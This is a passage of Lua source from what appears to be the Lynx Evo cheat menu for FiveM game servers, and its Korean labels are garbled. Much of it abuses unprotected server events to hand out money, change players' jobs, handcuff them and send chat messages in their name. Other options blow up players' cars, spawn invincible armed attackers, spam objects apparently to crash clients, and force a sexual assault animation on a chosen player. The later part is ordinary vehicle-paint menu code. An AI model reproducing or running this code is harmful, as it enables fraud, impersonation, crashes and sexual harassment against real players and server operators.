- if LynxEvo.Button('~h~~g~Revive Player') then
- local ax = GetPlayerPed(SelectedPlayer)
- local bK = GetEntityCoords(ax)
- TriggerServerEvent('esx_ambulancejob:setDeathStatus', false)
- local dZ = {
- x = ESX.Math.Round(bK.x, 1),
- y = ESX.Math.Round(bK.y, 1),
- z = ESX.Math.Round(bK.z, 1)
- }
- RespawnPed(ax, dZ, 0.0)
- StopScreenEffect('DeathFailOut')
- DoScreenFadeIn(800)
- elseif LynxEvo.Button('~h~~g~Give money to player from your wallet') then
- local m = KeyboardInput('Enter amount of money to give', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(SelectedPlayer),
- 'item_money',
- 'money',
- m
- )
- end
- elseif LynxEvo.Button('~h~~b~Handcuff Player') then
- TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(SelectedPlayer))
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('VRPPlayerTriggers') then
- if LynxEvo.Button('~h~Transfer money from your bank') then
- local d_ = KeyboardInput('Enter amount of money to give', '', 100)
- local e0 = KeyboardInput('Enter VRP PERMA ID!', '', 100)
- if d_ ~= '' then
- local di = GetPlayerServerId(PlayerId())
- TriggerEvent('bank:transfer', di, GetPlayerServerId(SelectedPlayer), d_)
- TriggerServerEvent('bank:transfer', e0, d_)
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESXJobs2') then
- if LynxEvo.Button('~h~Set Unemployed') then
- TriggerServerEvent('NB:destituerplayer', GetPlayerServerId(SelectedPlayer))
- UnemployedPlayer(SelectedPlayer)
- elseif LynxEvo.Button('~h~Set ~b~Police ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'police', 3)
- PolicePlayer(SelectedPlayer)
- elseif LynxEvo.Button('~h~Set ~o~Mecano ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'mecano', 3)
- MecanoPlayer(SelectedPlayer)
- elseif LynxEvo.Button('~h~Set ~y~Taxi ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'taxi', 3)
- TaxiPlayer(SelectedPlayer)
- elseif LynxEvo.Button('~h~Set ~r~Ambulance ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'ambulance', 3)
- AmbulancePlayer(SelectedPlayer)
- elseif LynxEvo.Button('~h~Set ~g~Real Estate ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'realestateagent', 3)
- RealEstateAgentPlayer(SelectedPlayer)
- elseif LynxEvo.Button('~h~Set ~r~Car ~b~Dealer ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'cardealer', 3)
- CarDealerPlayer(SelectedPlayer)
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('?몃· 硫붾돱') then
- if LynxEvo.MenuButton('~h~~p~#~s~AI(遊??뚰솚', 'AI(遊??뚰솚') then
- elseif LynxEvo.Button('~h~~r~Fake ~s~Chat Message') then
- local e1 = KeyboardInput('Enter message to send', '', 100)
- local e2 = GetPlayerName(SelectedPlayer)
- if e1 then
- TriggerServerEvent(
- '_chat:messageEntered',
- e2,
- {
- 0,
- 0x99,
- 255
- },
- e1
- )
- end
- elseif LynxEvo.Button('~h~~s~李⑤웾 ~r~?섏감?쒗궎湲?) then
- ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
- elseif LynxEvo.Button('~h~~s~李⑤웾 ~y~??컻?쒗궎湲?) then
- if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
- AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 4, 1337.0, false, true, 0.0)
- else
- av('~h~~b~?대떦 ?뚮젅?댁뼱??李⑤웾???묒듅?섍퀬 ?덉? ?딆뒿?덈떎.~s~.', false)
- end
- elseif LynxEvo.Button('~h~~r~Launch ~s~his car') then
- if GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false) ~= 0 then
- local e3 = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- local e4 = GetEntityHeading(GetPlayerPed(SelectedPlayer))
- local e5 = CreatePed(5, 68070371, e3, e4, true)
- local e6 = CreateVehicle(GetHashKey('adder'), e3, e4, true, false)
- SetPedIntoVehicle(e5, e6, -1)
- else
- av('~h~~b~?대떦 ?뚮젅?댁뼱??李⑤웾???묒듅?섍퀬 ?덉? ?딆뒿?덈떎.', false)
- end
- elseif LynxEvo.Button('~h~~r~諛붾굹??~p~?뚰떚') then
- local bH = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true, true)
- local bI = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true, true)
- local bJ = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- bH,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bI,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bJ,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- elseif LynxEvo.Button('~h~~r~??궗 ~s~?쒗궎湲?) then
- AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, 100000.0)
- AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, true)
- elseif LynxEvo.Button('~h~~r~媛뺢컙') then
- RequestModelSync('a_m_o_acult_01')
- RequestAnimDict('rcmpaparazzo_2')
- while not HasAnimDictLoaded('rcmpaparazzo_2') do
- Citizen.Wait(0)
- end
- if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
- local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
- while not NetworkHasControlOfEntity(veh) do
- NetworkRequestControlOfEntity(veh)
- Citizen.Wait(0)
- end
- SetEntityAsMissionEntity(veh, true, true)
- DeleteVehicle(veh)
- DeleteEntity(veh)
- end
- count = -0.2
- for b = 1, 3 do
- local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
- local bS = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
- SetEntityAsMissionEntity(bS, true, true)
- AttachEntityToEntity(
- bS,
- GetPlayerPed(SelectedPlayer),
- 4103,
- 11816,
- count,
- 0.00,
- 0.0,
- 0.0,
- 0.0,
- 0.0,
- false,
- false,
- false,
- false,
- 2,
- true
- )
- ClearPedTasks(GetPlayerPed(SelectedPlayer))
- TaskPlayAnim(
- GetPlayerPed(SelectedPlayer),
- 'rcmpaparazzo_2',
- 'shag_loop_poppy',
- 2.0,
- 2.5,
- -1,
- 49,
- 0,
- 0,
- 0,
- 0
- )
- SetPedKeepTask(bS)
- TaskPlayAnim(bS, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
- SetEntityInvincible(bS, true)
- count = count - 0.4
- end
- elseif LynxEvo.Button('~h~~r~耳?댁? ~s~媛?먭린') then
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- local e7 = 'prop_fnclink_05crnr1'
- local e8 = GetHashKey(e7)
- RequestModel(e8)
- while not HasModelLoaded(e8) do
- Citizen.Wait(0)
- end
- local e9 = CreateObject(e8, roundx - 1.70, roundy - 1.70, roundz - 1.0, true, true, false)
- local ea = CreateObject(e8, roundx + 1.70, roundy + 1.70, roundz - 1.0, true, true, false)
- SetEntityHeading(e9, -90.0)
- SetEntityHeading(ea, 90.0)
- FreezeEntityPosition(e9, true)
- FreezeEntityPosition(ea, true)
- elseif LynxEvo.Button('~h~~r~?꾨쾭嫄?~s~?뚮젅?댁뼱') then
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- elseif LynxEvo.Button('~h~~r~?꾨쾭嫄?~s~?뚮젅?댁뼱 李⑤웾') then
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
- GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false), 'chassis'),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- elseif LynxEvo.Button('~h~~r~釉붾옓? ~s~媛?먭린') then
- j = true
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- local ee = 'sr_prop_spec_tube_xxs_01a'
- local ef = GetHashKey(ee)
- RequestModel(ef)
- RequestModel(smashhash)
- while not HasModelLoaded(ef) do
- Citizen.Wait(0)
- end
- local eg = CreateObject(ef, roundx, roundy, roundz - 5.0, true, true, false)
- SetEntityRotation(eg, 0.0, 90.0, 0.0)
- local eh = -356333586
- local bR = 'WEAPON_SNOWBALL'
- for i = 0, 10 do
- local bK = GetEntityCoords(eg)
- RequestModel(eh)
- Citizen.Wait(50)
- if HasModelLoaded(eh) then
- local ped =
- CreatePed(
- 21,
- eh,
- bK.x + math.sin(i * 2.0),
- bK.y - math.sin(i * 2.0),
- bK.z - 5.0,
- 0,
- true,
- true
- ) and
- CreatePed(
- 21,
- eh,
- bK.x - math.sin(i * 2.0),
- bK.y + math.sin(i * 2.0),
- bK.z - 5.0,
- 0,
- true,
- true
- )
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetCurrentPedWeapon(ped, GetHashKey(bR), true)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif LynxEvo.Button('~h~~o~_!_ ~s~?뚮젅?댁뼱 ~r~?낃뎄湲?~o~_!_') then
- local ej = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- local ek = {
- 0x9CF21E0F,
- 0x34315488,
- 0x6A27FEB1,
- 0xCB2ACC8,
- 0xC6899CDE,
- 0xD14B5BA3,
- 0xD9F4474C,
- 0x32A9996C,
- 0x69D4F974,
- 0xCAFC1EC3,
- 0x79B41171,
- 0x1075651,
- 0xC07792D4,
- 0x781E451D,
- 0x762657C6,
- 0xC2E75A21,
- 0xC3C00861,
- 0x81FB3FF0,
- 0x45EF7804,
- 0xE65EC0E4,
- 0xE764D794,
- 0xFBF7D21F,
- 0xE1AEB708,
- 0xA5E3D471,
- 0xD971BBAE,
- 0xCF7A9A9D,
- 0xC2CC99D8,
- 0x8FB233A4,
- 0x24E08E1F,
- 0x337B2B54,
- 0xB9402F87,
- 0x4F2526DA,
- 0xc0000005
- }
- for i = 1, #ek do
- local a = CreateObject(ek[i], ej, true, true, true)
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('AI(遊??뚰솚') then
- if LynxEvo.Button('~h~~y~AK~s~臾댁옣 寃쎌같?밴났? ~r~?뚰솚') then
- local bQ = 's_m_y_swat_01'
- local bR = 'WEAPON_ASSAULTRIFLE'
- for i = 0, 10 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif LynxEvo.Button('~h~~y~RPG~s~臾댁옣 寃쎌같?밴났? ~r~?뚰솚') then
- local bQ = 's_m_y_swat_01'
- local bR = 'weapon_rpg'
- for i = 0, 10 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif LynxEvo.Button('~h~~y~?뚮젅?닿굔~s~臾댁옣 寃쎌같?밴났? ~r~?뚰솚') then
- local bQ = 's_m_y_swat_01'
- local bR = 'weapon_flaregun'
- for i = 0, 10 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- elseif LynxEvo.Button('~h~~y~?덉씪嫄?s~臾댁옣 寃쎌같?밴났? ~r~?뚰솚') then
- local bQ = 's_m_y_swat_01'
- local bR = 'weapon_railgun'
- for i = 0, 10 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
- NetworkRegisterEntityAsNetworked(ped)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- local ei = PedToNet(ped)
- NetworkSetNetworkIdDynamic(ei, false)
- SetNetworkIdCanMigrate(ei, true)
- SetNetworkIdExistsOnAllMachines(ei, true)
- Citizen.Wait(500)
- NetToPed(ei)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- end
- LynxEvo.Display()
- elseif
- IsDisabledControlPressed(0, 121) or IsDisabledControlPressed(0, 47) and IsDisabledControlPressed(0, 21)
- then
- if mhaonn then
- LynxEvo.OpenMenu('Luxury')
- else
- bE()
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('?붾젅?ы듃 硫붾돱') then
- if LynxEvo.Button('~h~~g~吏?뺥븳 怨녹쑝濡?~s~?붾젅?ы듃') then
- c6()
- elseif LynxEvo.Button('~h~~g~二쇰?李⑤웾~s~?쇰줈 ?붾젅?ы듃') then
- b_()
- elseif LynxEvo.Button('~h~~r~?ъ슜???낅젰醫뚰몴濡?~s~?붾젅?ы듃') then
- bT()
- elseif LynxEvo.Button('~h~留듭뿉 ~r~?ъ슜??吏??~s~?꾩씠肄?留뚮뱾湲?) then
- bX()
- elseif
- LynxEvo.CheckBox(
- '~h~~g~醫뚰몴 ~s~?쒖떆',
- showCoords,
- function(dR)
- showCoords = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('臾닿린 硫붾돱') then
- if LynxEvo.MenuButton('~h~~p~#~s~ 臾닿린?뚰솚', 'WeaponTypes') then
- elseif LynxEvo.Button('~h~~g~紐⑤뱺臾닿린 ?뚰솚') then
- for i = 1, #b6 do
- GiveWeaponToPed(PlayerPedId(-1), GetHashKey(b6[i]), 1000, false, false)
- end
- elseif LynxEvo.Button('~h~~r~紐⑤뱺臾닿린 ?쒓굅') then
- RemoveAllPedWeapons(PlayerPedId(-1), true)
- elseif LynxEvo.Button('~h~臾닿린 ?대젮?볤린') then
- local ak = GetPlayerPed(-1)
- local b = GetSelectedPedWeapon(ak)
- SetPedDropsInventoryWeapon(GetPlayerPed(-1), b, 0, 2.0, 0, -1)
- elseif LynxEvo.Button('~h~~g~紐⑤뱺?뚮젅?댁뼱 ~s~紐⑤뱺臾닿린 二쇨린') then
- for el = 0, 128 do
- if el ~= PlayerId(-1) and GetPlayerServerId(el) ~= 0 then
- for i = 1, #b6 do
- GiveWeaponToPed(GetPlayerPed(el), GetHashKey(b6[i]), 1000, false, false)
- end
- end
- end
- elseif LynxEvo.Button('~h~~r~紐⑤뱺?뚮젅?댁뼱 ~s~紐⑤뱺臾닿린 ?쒓굅') then
- for el = 0, 128 do
- if el ~= PlayerId(-1) and GetPlayerServerId(el) ~= 0 then
- for i = 1, #b6 do
- RemoveWeaponFromPed(GetPlayerPed(el), GetHashKey(b6[i]))
- end
- end
- end
- elseif LynxEvo.Button('~h~珥앹븣?ъ깮') then
- for i = 1, #b6 do
- AddAmmoToPed(PlayerPedId(-1), GetHashKey(b6[i]), 200)
- end
- elseif
- LynxEvo.CheckBox(
- '~h~~r~?곕?吏??,
- oneshot,
- function(dR)
- oneshot = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~g~R~r~a~y~i~b~n~o~b~r~o~g~w ~s~?뚮젅?닿굔',
- rainbowf,
- function(dR)
- rainbowf = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~湲곗감 珥?,
- VehicleGun,
- function(dR)
- VehicleGun = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~??몄뒪 珥?,
- DeleteGun,
- function(dR)
- DeleteGun = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('tunings') then
- veh = GetVehiclePedIsUsing(PlayerPedId())
- for i, dE in pairs(bl) do
- if dE.id == 'extra' and #checkValidVehicleExtras() ~= 0 then
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'neon' then
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'paint' then
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'wheeltypes' then
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'headlight' then
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'licence' then
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- else
- local az = checkValidVehicleMods(dE.id)
- for ci, dL in pairs(az) do
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- break
- end
- end
- end
- if IsToggleModOn(veh, 22) then
- xenonStatus = 'Installed'
- else
- xenonStatus = 'Not Installed'
- end
- if LynxEvo.Button('Xenon Headlight', xenonStatus) then
- if not IsToggleModOn(veh, 22) then
- ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
- else
- ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('performance') then
- veh = GetVehiclePedIsUsing(PlayerPedId())
- for i, dE in pairs(bm) do
- if LynxEvo.MenuButton(dE.name, dE.id) then
- end
- end
- if IsToggleModOn(veh, 18) then
- turboStatus = 'Installed'
- else
- turboStatus = 'Not Installed'
- end
- if LynxEvo.Button('~h~~b~Turbo ~h~Tune', turboStatus) then
- if not IsToggleModOn(veh, 18) then
- ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
- else
- ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('primary') then
- LynxEvo.MenuButton('~h~~p~#~s~ Classic', 'classic1')
- LynxEvo.MenuButton('~h~~p~#~s~ Metallic', 'metallic1')
- LynxEvo.MenuButton('~h~~p~#~s~ Matte', 'matte1')
- LynxEvo.MenuButton('~h~~p~#~s~ Metal', 'metal1')
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('secondary') then
- LynxEvo.MenuButton('~h~~p~#~s~ Classic', 'classic2')
- LynxEvo.MenuButton('~h~~p~#~s~ Metallic', 'metallic2')
- LynxEvo.MenuButton('~h~~p~#~s~ Matte', 'matte2')
- LynxEvo.MenuButton('~h~~p~#~s~ Metal', 'metal2')
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('rimpaint') then
- LynxEvo.MenuButton('~h~~p~#~s~ Classic', 'classic3')
- LynxEvo.MenuButton('~h~~p~#~s~ Metallic', 'metallic3')
- LynxEvo.MenuButton('~h~~p~#~s~ Matte', 'matte3')
- LynxEvo.MenuButton('~h~~p~#~s~ Metal', 'metal3')
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('classic1') then
- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and tp == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('metallic1') then
- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and tp == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('matte1') then
- for dK, em in pairs(bt) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and tp == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('metal1') then
- for dK, em in pairs(bu) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and tp == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('classic2') then
- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('metallic2') then
